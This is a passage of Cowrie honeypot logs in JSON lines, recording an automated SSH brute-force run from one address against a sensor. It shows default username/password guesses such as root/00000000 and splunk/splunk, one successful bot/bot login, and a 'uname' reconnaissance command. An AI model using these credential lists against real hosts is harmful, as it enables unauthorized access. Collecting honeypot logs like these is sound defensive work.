mac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:59.243614Z","src_ip":"192.109.200.237","session":"1344a76a4a7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"splunk","password":"splunk","message":"login attempt [splunk/splunk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:59.487992Z","src_ip":"192.109.200.237","session":"1344a76a4a7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:00.571962Z","src_ip":"192.109.200.237","session":"1344a76a4a7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.000375270843506,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:01.145907Z","src_ip":"69.5.169.158","session":"dd0f09bb7638","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53276,"dst_ip":"159.203.135.109","dst_port":22,"session":"24ff5384df54","protocol":"ssh","message":"New connection: 192.109.200.237:53276 (159.203.135.109:22) [session: 24ff5384df54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:02.243252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:02.248284Z","src_ip":"192.109.200.237","session":"24ff5384df54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:02.330840Z","src_ip":"192.109.200.237","session":"24ff5384df54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"nexus","message":"login attempt [nexus/nexus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:02.577275Z","src_ip":"192.109.200.237","session":"24ff5384df54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:03.707605Z","src_ip":"192.109.200.237","session":"24ff5384df54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53292,"dst_ip":"159.203.135.109","dst_port":22,"session":"ddfafcc2b527","protocol":"ssh","message":"New connection: 192.109.200.237:53292 (159.203.135.109:22) [session: ddfafcc2b527]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:05.364471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:05.369656Z","src_ip":"192.109.200.237","session":"ddfafcc2b527","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:05.452247Z","src_ip":"192.109.200.237","session":"ddfafcc2b527","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:05.828438Z","src_ip":"192.109.200.237","session":"ddfafcc2b527","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:06.057395Z","src_ip":"192.109.200.237","session":"ddfafcc2b527","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:06.061671Z","src_ip":"192.109.200.237","session":"ddfafcc2b527","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:06.149766Z","src_ip":"192.109.200.237","session":"ddfafcc2b527","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:06.155496Z","src_ip":"192.109.200.237","session":"ddfafcc2b527","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53314,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4e0b026a4d0","protocol":"ssh","message":"New connection: 192.109.200.237:53314 (159.203.135.109:22) [session: c4e0b026a4d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:08.773873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:08.779174Z","src_ip":"192.109.200.237","session":"c4e0b026a4d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:08.861444Z","src_ip":"192.109.200.237","session":"c4e0b026a4d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sinusbot","password":"sinusbot","message":"login attempt [sinusbot/sinusbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:09.107207Z","src_ip":"192.109.200.237","session":"c4e0b026a4d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:10.191570Z","src_ip":"192.109.200.237","session":"c4e0b026a4d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56776,"dst_ip":"159.203.135.109","dst_port":22,"session":"f56e042772ab","protocol":"ssh","message":"New connection: 192.109.200.237:56776 (159.203.135.109:22) [session: f56e042772ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:11.975448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:11.983080Z","src_ip":"192.109.200.237","session":"f56e042772ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:12.065148Z","src_ip":"192.109.200.237","session":"f56e042772ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"00000000","message":"login attempt [root/00000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:12.311529Z","src_ip":"192.109.200.237","session":"f56e042772ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:13.396034Z","src_ip":"192.109.200.237","session":"f56e042772ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56786,"dst_ip":"159.203.135.109","dst_port":22,"session":"668be923c391","protocol":"ssh","message":"New connection: 192.109.200.237:56786 (159.203.135.109:22) [session: 668be923c391]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:15.102814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:15.107836Z","src_ip":"192.109.200.237","session":"668be923c391","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:15.190279Z","src_ip":"192.109.200.237","session":"668be923c391","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"onkar","password":"onkar123","message":"login attempt [onkar/onkar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:15.569572Z","src_ip":"192.109.200.237","session":"668be923c391","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:16.655002Z","src_ip":"192.109.200.237","session":"668be923c391","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56796,"dst_ip":"159.203.135.109","dst_port":22,"session":"8cde9f61e565","protocol":"ssh","message":"New connection: 192.109.200.237:56796 (159.203.135.109:22) [session: 8cde9f61e565]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:18.407815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:18.416023Z","src_ip":"192.109.200.237","session":"8cde9f61e565","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:18.498012Z","src_ip":"192.109.200.237","session":"8cde9f61e565","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"newuser","message":"login attempt [newuser/newuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:18.743714Z","src_ip":"192.109.200.237","session":"8cde9f61e565","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:19.886853Z","src_ip":"192.109.200.237","session":"8cde9f61e565","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46392,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e00e41a4f74","protocol":"ssh","message":"New connection: 192.109.200.237:46392 (159.203.135.109:22) [session: 2e00e41a4f74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:21.702872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:21.706409Z","src_ip":"192.109.200.237","session":"2e00e41a4f74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:21.788471Z","src_ip":"192.109.200.237","session":"2e00e41a4f74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"infra","password":"infra","message":"login attempt [infra/infra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:22.034649Z","src_ip":"192.109.200.237","session":"2e00e41a4f74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:23.119300Z","src_ip":"192.109.200.237","session":"2e00e41a4f74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46400,"dst_ip":"159.203.135.109","dst_port":22,"session":"f943c3ffcfe9","protocol":"ssh","message":"New connection: 192.109.200.237:46400 (159.203.135.109:22) [session: f943c3ffcfe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:25.007700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:25.017312Z","src_ip":"192.109.200.237","session":"f943c3ffcfe9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 